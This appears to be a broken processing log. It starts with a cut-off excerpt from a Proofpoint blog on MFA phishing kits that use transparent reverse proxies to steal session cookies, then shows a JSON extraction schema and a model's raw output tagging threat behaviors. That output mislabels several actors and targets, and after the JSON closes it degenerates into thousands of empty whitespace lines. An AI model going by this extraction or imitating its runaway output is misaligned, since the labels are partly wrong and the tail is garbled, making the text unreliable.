coffee](/us/blog/threat-insight/have-money-latte-then-you-too-can-buy-phish-kit \"Have Money for a Latte.\nThen You Too Can Buy a Phish Kit\").\nProofpoint threat researchers see numerous MFA phishing kits ranging from simple open-source kits with human readable code and no-frills functionality to sophisticated kits utilizing numerous layers of obfuscation and built-in modules that allow for stealing usernames, passwords, MFA tokens, social security numbers and credit card numbers.\nAt their core these kits are using the same techniques for harvesting credentials as the traditional kits that steal only usernames and passwords.\n![Simple phishing kit utilizing an open directory ](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.19.05%20AM.png)\n*Figure 2. Simple phishing kit utilizing an open directory with credentials stored on the same webserver as the kit.*\nIn recent years, Proofpoint researchers have observed the emergence of a new type of kit that does not rely on recreating a target website.\nInstead, these kits use a [transparent reverse proxy](https://en.wikipedia.org/wiki/Reverse_proxy#:~:text=In%20computer%20networks%2C%20a%20reverse,mainly%20used%20to%20balance%20load. to present the actual website to the victim.\nModern web pages are dynamic and change frequently.\nTherefore, presenting the actual site instead of a facsimile greatly enhances the illusion an individual is logging in safely.\nAnother advantage of the reverse proxy is that it allows the threat actor to man-in-the-middle (MitM) a session and capture not only the usernames and passwords in real-time, but also the session cookie.\n![MitM Transparent Reverse Proxy](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.19.29%20AM.png)\n*Figure 3. MitM Transparent Reverse Proxy.*\nThe session cookie (see Figure 4) can then be used by the threat actor to gain access to the targeted account without the need for a username, password, or MFA token.\n![Evilginx2 LinkedIn session cookie example](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.19.50%20AM.png)\n*Figure 4. Evilginx2 LinkedIn session cookie example.*\nProofpoint researchers have noted a small increase in the use of these phish kits and anticipate greater adoption by threat actors as MFA forces them to adapt.\nSpecifically, Proofpoint has noted three transparent reverse proxy kits emerging on the scene.\n### Reverse Prox", + "max_new_tokens": 4096, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "behaviors": { + "type": "array", + "items": { + "type": "object", + "properties": { + "quote": { + "type": "string" + }, + "summary": { + "type": "string" + }, + "actor": { + "type": "string" + }, + "action": { + "type": "string" + }, + "object": { + "type": "string" + }, + "tool": { + "type": "string" + }, + "target": { + "type": "string" + }, + "assertion": { + "type": "string", + "enum": [ + "observed", + "capability", + "background", + "defensive" + ] + } + }, + "required": [ + "quote", + "summary", + "actor", + "action", + "object", + "tool", + "target", + "assertion" + ], + "additionalProperties": false + }, + "maxItems": 24 + } + }, + "required": [ + "behaviors" + ], + "additionalProperties": false + }, + "label": "threat_behaviors", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\n\n\"behaviors\":[{\"quote\":\"phish kits are evolving with the times to steal these tokens and bypass this trusted layer of security\",\"summary\":\"Phishing kits steal MFA tokens to bypass multi-factor authentication\",\"actor\":\"phish kits\",\"action\":\"steal\",\"object\":\"tokens\",\"tool\":\"\",\"target\":\"trusted layer of security\",\"assertion\":\"capability\"},{\"quote\":\"Threat actors are using phish kits that leverage transparent reverse proxy, which enables them to man-in-the-middle (MitM) a browser session and steal credentials and session cookies in real-time\",\"summary\":\"Threat actors use phishing kits with transparent reverse proxy to perform MitM on browser sessions to steal credentials and session cookies\",\"actor\":\"Threat actors\",\"action\":\"man-in-the-middle (MitM)\",\"object\":\"browser session\",\"tool\":\"phish kits that leverage transparent reverse proxy\",\"target\":\"credentials and session cookies\",\"assertion\":\"observed\"},{\"quote\":\"threat actors will turn to these MitM phish kits\",\"summary\":\"Threat actors adopt MitM phishing kits\",\"actor\":\"threat actors\",\"action\":\"turn to\",\"object\":\"these MitM phish kits\",\"tool\":\"\",\"target\":\"\",\"assertion\":\"background\"},{\"quote\":\"Phishing kits are software developed to aid threat actors in harvesting credentials\",\"summary\":\"Phishing kits harvest credentials for threat actors\",\"actor\":\"Phishing kits\",\"action\":\"harvesting\",\"object\":\"credentials\",\"tool\":\"\",\"target\":\"threat actors\",\"assertion\":\"capability\"},{\"quote\":\"installed on a dedicated server owned by the threat actor\",\"summary\":\"Phishing kits installed on dedicated servers owned by threat actors\",\"actor\":\"threat actor\",\"action\":\"owned\",\"object\":\"dedicated server\",\"tool\":\"Phishing kits\",\"target\":\"\",\"assertion\":\"observed\"},{\"quote\":\"covertly installed on a compromised server owned by an unlucky individual\",\"summary\":\"Phishing kits covertly installed on compromised servers\",\"actor\":\"unlucky individual\",\"action\":\"owned\",\"object\":\"compromised server\",\"tool\":\"Phishing kits\",\"target\":\"\",\"assertion\":\"observed\"},{\"quote\":\"kits utilizing numerous layers of obfuscation\",\"summary\":\"Phishing kits utilize obfuscation layers\",\"actor\":\"kits\",\"action\":\"utilizing\",\"object\":\"numerous layers of obfuscation\",\"tool\":\"\",\"target\":\"\",\"assertion\":\"capability\"},{\"quote\":\"built-in modules that allow for stealing usernames, passwords, MFA tokens, social security numbers and credit card numbers\",\"summary\":\"Built-in modules steal usernames, passwords, MFA tokens, SSNs, and credit card numbers\",\"actor\":\"built-in modules\",\"action\":\"stealing\",\"object\":\"usernames, passwords, MFA tokens, social security numbers and credit card numbers\",\"tool\":\"\",\"target\":\"\",\"assertion\":\"capability\"},{\"quote\":\"kits are using the same techniques for harvesting credentials as the traditional kits that steal only usernames and passwords\",\"summary\":\"Kits use techniques to harvest credentials like traditional kits stealing usernames and passwords\",\"actor\":\"kits\",\"action\":\"harvesting\",\"object\":\"credentials\",\"tool\":\"\",\"target\":\"traditional kits that steal only usernames and passwords\",\"assertion\":\"capability\"},{\"quote\":\"Simple phishing kit utilizing an open directory with credentials stored on the same webserver as the kit\",\"summary\":\"Simple phishing kit stores credentials on the same webserver\",\"actor\":\"Simple phishing kit\",\"action\":\"stored\",\"object\":\"credentials\",\"tool\":\"\",\"target\":\"same webserver as the kit\",\"assertion\":\"observed\"},{\"quote\":\"these kits use a transparent reverse proxy to present the actual website to the victim\",\"summary\":\"Kits use transparent reverse proxy to present actual website to victim\",\"actor\":\"these kits\",\"action\":\"use\",\"object\":\"transparent reverse proxy\",\"tool\":\"\",\"target\":\"victim\",\"assertion\":\"capability\"},{\"quote\":\"allows the threat actor to man-in-the-middle (MitM) a session and capture not only the usernames and passwords in real-time, but also the session cookie\",\"summary\":\"Reverse proxy allows threat actor to MitM session and capture usernames, passwords, and session cookies in real-time\",\"actor\":\"threat actor\",\"action\":\"man-in-the-middle (MitM)\",\"object\":\"session\",\"tool\":\"reverse proxy\",\"target\":\"usernames and passwords... session cookie\",\"assertion\":\"capability\"},{\"quote\":\"The session cookie can then be used by the threat actor to gain access to the targeted account without the need for a username, password, or MFA token\",\"summary\":\"Threat actor uses session cookie to access targeted account without credentials or MFA token\",\"actor\":\"threat actor\",\"action\":\"gain access to\",\"object\":\"the targeted account\",\"tool\":\"session cookie\",\"target\":\"\",\"assertion\":\"capability\"}]\n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n 